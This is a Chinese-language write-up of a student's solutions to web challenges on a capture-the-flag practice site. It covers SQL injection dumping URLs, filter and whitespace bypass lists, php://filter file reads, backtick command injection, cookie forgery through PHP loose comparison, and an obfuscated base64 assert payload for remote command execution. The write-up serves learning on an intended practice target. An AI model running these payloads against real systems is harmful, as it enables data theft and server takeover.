背景:
这几天老师要求我们把hackme的题目做出来,于是便开始了新的征程,一定把全部flag找出来,fighting……
题目及解题思路
1 hide and seek
Can you see me? I’m so close to you but you can’t see me.
题目描述说离我很近,于是便翻翻网页源代码,果真发现了flag
2 guestbook
This guestbook sucks. sqlmap is your friend.
根据题目意思肯定是一个sql注入了,比较sqlmap都出来了
看上去非常像是一个xss攻击,于是进行fuzz(模糊测试)
观察url,进行简单fuzz
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1 |
得到数据库名g8
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1 |
得到表名flag
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1 |
得到字段名flag
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1 |
得到最终flag
另解
也可执行如下选项得到flag
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,3,4--+ |
//2,3,4都是回显点
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,database(),4--+ |
//找到数据库g8,虽然直接用database()也行
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()--+ |
//找到表flag
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name='flag'--+ |
//找到flag列
1 | https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(flag),4 from flag |
//找到FLAG
知识扩展
- sqlmap的使用
https://blog.csdn.net/caicai0001000/article/details/79576697 - XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 - fuzz
模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。
3 LFI
What this admin’s password? That is not important at all, just get the flag.
Tips: LFI, php://filter
点击网页中的Home
后出现:
1 | https://hackme.inndy.tw/lfi/?page=pages/index |
查看网页源代码后发现flag的踪迹
估计就是读取网页中的文件,所以就读下面url
1 | https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag |
此时发现一串很像base64编码后的字符串,在线解密后结果如下图
于是乎再按照下面的url读一遍呗
1 | https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config |
最终得到了又是base64加密后的字符串,在线解密后即得flag
知识扩展
- LFI(文件包含攻击)
https://www.jianshu.com/p/8803aff98bfa
4 homepage
Where is the flag? Did you check the code?
点击题目链接后出现Start Hacking Now,于是便像以前的Web解题思路一样,先按F12看看,不想在Console下发现一张二维码
扫一下就出现了flag
5 ping
Can you ping 127.0.0.1?
打开网页后发现其源代码如下
1 | <!DOCTYPE html> |
程序在$blacklist里面过滤了很多东西,但是还是可以用“两个反引号来绕过限制执行系统命令,所以,首先输入`ls`来查看目录,发现报错信息里面提示了有index.php和flag.php
所以flag一定是在flag.php里面了,所以要尝试去读取flag.php,但是cat,flag和php被禁掉了,所以要用tail来读取flag.php,所以就要用通配符来读取,所以最后的payload是:`tail fl*.ph*`,最终得到了flag
知识扩展
- Linux通配符
https://blog.csdn.net/magi1201/article/details/76065370 - php代码审计
6 scoreboard
DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.
题目描述说别让我们攻击或者扫描网页,所以就不搞破坏了
打开题目链接后习惯性地按F12,最终在Network的Headers中找到了flag
7 login as admin 0
SQL Injection!
提示说用sql注入,进入题目点击Source Code,出现如下源代码
1 | <?php |
代码中的注释提示我们用admin登录
题目中的过滤函数如下
1 | function safe_filter($str) |
易知题目过滤了 or 1=1
等字符,还会用反斜杠转义单引号,漏洞点就在于本题只转义引号,不转义其它字符,所以我们可以考虑用自己提交的反斜杠转义掉引号前面的反斜杠,这样引号就被脱出来了,于是我们可以成功闭合,另外由于题目转义了引号,我们在构造admin登录的时候,可以使用16进制绕过,最终payload如下
1 | name=guest\' or user=0x61646d696e-- +& password=guest |
知识扩展
- mysql语句的使用
https://blog.csdn.net/xiazdong/article/details/7368576 - payload解释
0x61646d696e是16进制数,转换成字符后就是admin - mysql 注释方法
#
最普通的单行注释,实际渗透中最好用之前用url编码下,效果会更好,编码后的值为 %23-- -
注意中间的空格哦-- +
` `
在bypass一些比较老的waf可能还会有些用/* */
常规内联注释/* ! */
/* !50000 */
mysql 5通用,带版本内联注释
8 login as admin 0.1
Grab the hidden flag
猛一看这一题与上一题一样,可是在上一题的flag后面有两句话说flag2在数据库中,所以第二题其实是注入去数据库找flag
于是开始查询数据库
1 | name=guest\' union select 1,2,3,database()# |
发现没有反应,我就觉得这里应该是要盲注了
1 | `name=guest\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database(`)# |
感觉发现了新大陆貌似爆出了表名,再使用下面的命令得到flag
1 | name=guest\' union select 1,the_f14g,3,4 from h1dden_f14g# |
9 login as admin 1
Please login as admin.
Tips: SQL Injection but sqlmap not working anymore.
Update: Source code is available now.
Scanner WON’T WORK
题目提示我们以admin身份登录,还是sql注入,但是sqlmap不起作用,而且不用扫描,但是源码可用,于是就看看源码
1 | function safe_filter($str) |
感觉跟login as admin 0差不多,但是过滤了空格
,'1=1'
,''
,union select
和select加空格
的形式,于是用下面的命令绕过即可得到flag
1 | name=admin\'/**/union/**/select/**/1,2,3,4/**/# |
知识扩展
- 空格绕过
%09 TAB键(水平)
/**/
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
- 单引号绕过\‘
10 login as admin 1.2
Get another flag
Tips: boolean-based SQL injection, information_schema
这题提示我们进行盲注,进行布尔注入就行了,这题如果正确的话,会回显Hi,再加上原来的注入语句,否则返回login failed
1 | import requests |
But,我跑了半小时,也没跑出flag,就出来这么一点,枯了
11 login as admin 3
login as admin
想要爆出flag,cookie中的$user[‘admin’] 要为true
在下面的load_user()函数中,我们发现验证登录的方式是!=,于是就想到了php弱比较,我们需要构造sig=0,即可轻松绕过消息认证码检测:
1 | hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'] |
执行下面的php代码后即可得到构造的payload
1 | <?php |
在网页的console下输入下面的命令(也就是在cookie里添加如下内容)即得flag
1 | document.cookie="user=eyJzaWciOjAsImRhdGEiOiJbXCJhZG1pblwiLHRydWVdIn0="; |
知识扩展
- php弱比较
- 在cookie里添加内容
12 login as admin 4
login as admin
查看网页源代码,发现这次代码终于不多了,happy
1 | <?php |
前面需要$_POST[‘name’] === ‘admin’,后面必须
$_POST[‘password’] !== $password,否则后面
Location: ./?failed=1 就会跳转到failed=1,会登入失败,
但我们并不知道$password 是什么,这个应该包含的config.php中,我们只要用curl使得能够不跳转就直接看到后面的flag
知识扩展
- curl命令详解
-d/–data HTTP POST方式传送数据
https://www.cnblogs.com/duhuo/p/5695256.html
13 login as admin 6
login as admin
看看源码,发现这里仍然需要满足$user==’admin’
又发现了extract函数,就觉得代码存在变量覆盖漏洞,构造下面的json数据即可
1 | data={"user": "admin"} |
然后在kali中执行如下命令即得flag
1 | curl -d 'data={"user": "admin"}' https://hackme.inndy.tw/login6/ |
知识扩展
- extract()函数
本函数用来将变量从数组中导入到当前的符号表中。检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。
https://www.php.net/manual/zh/function.extract.php - json格式数据
{“a”:1,”b”:2,”c”:3,”d”:4,”e”:5}
https://www.runoob.com/php/php-json.html
14 login as admin 7
login as admin
看源码,又是需要$user == ‘admin’,能不能有点创新了
而且password经过md5加密后必须为’00000000000000000000000000000000’,而且通过==联想到PHP Hash比较存在缺陷,所以构造payload并执行如下curl命令即得flag
1 | curl -d "name=admin&password=QNKCDZO" https://hackme.inndy.tw/login7/ |
知识扩展
- PHP Hash比较存在缺陷
https://www.freebuf.com/news/67007.html - 0e开头md5汇总
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
https://www.ohlinge.cn/php/0e_md5.html
15 dafuq-manager 1
Login as guest and find flag 1
进入题目后发现可以用guest登录,于是利用Username=guest,Password=guest登录
登录成功后进入如下界面,会发现有个小提示
点击进入后发现题目让我们创建一个cookie
于是利用如下命令在console中创建cookie并回车,然后弹出一个让我们tamper a cookie的提示
然后发现了可疑的show_hidden,其值为no
在控制台中,将show_hidden改为yes即得flag
16 dafuq-manager 2
Login as admin, code review and get flag 2
在上题的基础上,我们可以进入红框中的文件
会发现提示,让我们以admin身份登录
于是,我们将7z压缩包下载并解压,得到了源码,开始审计,重点关注与 admin 有关的部分
在 index.php 中,我们发现了show_admin()函数,在fun_admin.php中跟踪到了这个函数
发现了$GLOBALS[“permissions”],继续追踪与其有关的变量
又在activate_user()中找到了与 $ GLOBALS[“permissions”]有赋值关系的$ data,追踪到$data在函数activate_user()中有如下关系
接着,追踪find_user()函数
而 $GLOBALS[“users”] 在哪里呢?全局搜索,发现在 .htusers.php 中
但是源码泄露并没有完全泄露,只给出了guest的密码,这里应该是有管理员账号密码的,账号密码存在文件中所以我们不能够sql注入,所以我们是否能够尝试读取服务器上的 .htusers.php?直接访问 https://dafuq-manager.hackme.inndy.tw/.config/.htusers.php 肯定是没办法看到变量内容的,先看看能不能用 download 下载,在 index.php 中
而在fun_down.php中,需要满足红框中的条件
而且,我们要读取的是 .config/.htusers.php ,但是在题目的 stristr($ abs_item, ‘.php’) || stristr($abs_item, ‘config’) 过滤了config和php两个字段,显然无法读取,只得在看看其他的函数,在fun_edit.php中
那么看看另一个功能 edit。下面是 fun_edit.php 中 edit_file() 函数的一部分。
没有 basename(),所以尝试以下url,找到了管理员的账号和密码
username就是adm1n15trat0r,密码是how do you turn this on(34af0d074b17f44d1bb939765b02776f经过md5j解密得到)
输入用户名和密码后即得flag
知识扩展
- php代码审计
- Seay软件自动审计代码漏洞
17 dafuq-manager 3
Get a shell to find flag 3
这一题是让我们找到网站的命令执行问题,拿到shell,最终获得flag
有了大体的思路,然后就是审计代码,结果在/core/fun_debug.php发现了问题
1 | <?php |
代码有点多:( ,喝点肥仔水冷静一下,逐个分析,这里需要我们绕过
看到strcmp()函数,我们就想到它的黑魔法,可以利用数组进行绕过,例如dir[]=1
接着,轮到cmd参数了,需要我们的base64的命令,并且和hmac消息验证码拼接
这里代码中给出了生成的函数,我们可以直接调用
1 | function make_command($cmd) { |
再关注一下黑名单的过滤,尽管有过滤,但这一类直接搜索字符串的过滤都是纸老虎。
作为世界上最好的语言之一,PHP 有很多你想象不到的技巧:)
1 | $bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',); |
我们可以使用base64编码绕过这些菜鸡式的黑名单过滤,到时候做大创绝对不用这种方式过滤命令╭(╯^╰)╮
攻击脚本如下所示
1 | <?php |
运行后得到拼接后攻击命令片段
1 | JGE9J2Fzcyc7JGI9J2VydCc7JGM9JGEuJGI7JGMoYmFzZTY0X2RlY29kZSgnYzNsemRHVnRLQ2N1TDJac1lXY3pMMjFsYjNjZ0xpOW1iR0ZuTXk5bWJHRm5NeWNwJykpOw==.a732bca4115e60392997efb8da69fe8224b355856f8435a1a65cbc403d3c1b32 |
在地址栏敲入下列的url得到了下面的提示
1 | https://dafuq-manager.hackme.inndy.tw/?action=debug&dir[]=&command=JGE9InN5cyI7JGI9InRlbSI7JGM9JGEuJGI7JGMoImxzIGZsYWczIik7.1704151fc14b04ab80317ccb0009b18bb478bc6e0c25756d48e38a4dff57b376 |
最后就是读flag3文件了,这里cat不能用,但是看到有个meow.c,猜测是用来读文件的
1 | https://dafuq-manager.hackme.inndy.tw/?action=debug&dir[]=&command=JGE9J2Fzcyc7JGI9J2VydCc7JGM9JGEuJGI7JGMoYmFzZTY0X2RlY29kZSgnYzNsemRHVnRLQ2N1TDJac1lXY3pMMjFsYjNjZ0xpOW1iR0ZuTXk5bWJHRm5NeWNwJykpOw==.a732bca4115e60392997efb8da69fe8224b355856f8435a1a65cbc403d3c1b32 |
利用上面的url即得flag
知识扩展
- php命令执行的一些绕过技巧 https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
- strcmp黑魔法
- hash_hmac()函数
https://www.php.net/manual/zh/function.hash-hmac.php
18 wordpress 1
Something strange is hidding in the source code, find it.
Tips: This challenge does not require to exploit any thing, don’t use any scanner.
看了下提示
Something strange is hidding in the source code
这大概是用 wordpress搭建的博客,我自己在YouTube上学的是hexo搭建博客
看看源码,没有什么特殊发现,看看有没有源码泄露
打开robots.txt没有
看看博客文章
在第一篇文章里发现源码
Seay自动审计+搜索下flag,发现一大堆
这可能要审到地老天荒了
一般来说这种完整的网站,插件是一个漏洞很可能存在的地方
果不其然,发现了有个输出flag的函数,passw0rd中的内容md5解密后结果为
1 | cat flag |
所以就想通过下面的url来读取flag信息
1 | https://wp.hackme.inndy.tw/?passw0rd=cat flag |
但是事与愿违啊
只有返回去审计print_f14g()函数了,发现需要满足wp_get_user_ip() === '127.0.0.1'
才能得到flag,跟踪一下wp_get_user_ip()函数
大兄弟啊,你这不是明摆着让我们用XFF绕过嘛o( ̄︶ ̄)o
于是乎,用burpsuite抓包并添加X-Forwarded-For: 127.0.0.1
,在repeater中send即得flag
19 wordpress 2
Find another strange thing in the source code.
Tips: This challenge does not require to exploit any thing, don’t use any scanner.
上一题的flag提示我们在主题中找后门,而且在2013年10月的一篇文章为flag2,是有密码的,估计就是利用这个后门突破密码限制,而且在
1 | `wordpress\wp-content\themes\astrid\template-parts\content-search.php` |
找到可疑操作
1 | <!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> --> |
大概意思是通过post某个值获取这个值的内容?
接着通过下面的url获得flag
1 | view-source:https://wp.hackme.inndy.tw/archives/date/2013/10?s=&debug=content |
后面几题实在是看着大佬的wp都整不出来flag,所以就写这么多吧
声明
本文参考了如下手足的文章:
- https://skysec.top/2018/01/07/hackme%E7%BD%91%E7%AB%99%E8%BE%B9%E5%81%9A%E8%BE%B9%E8%AE%B0%E5%BD%95/#WEB
- https://museljh.github.io/2019/02/14/hackme%20web%20wp/
- https://blog.csdn.net/xiaorouji/article/details/82461190
- http://chaosec.top/2018/08/28/hackme/
- https://www.aloxaf.com/2018/07/hackme_inndy/
- https://github.com/taoky/my-inndy-ctf-writeup/blob/master/Web.md
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。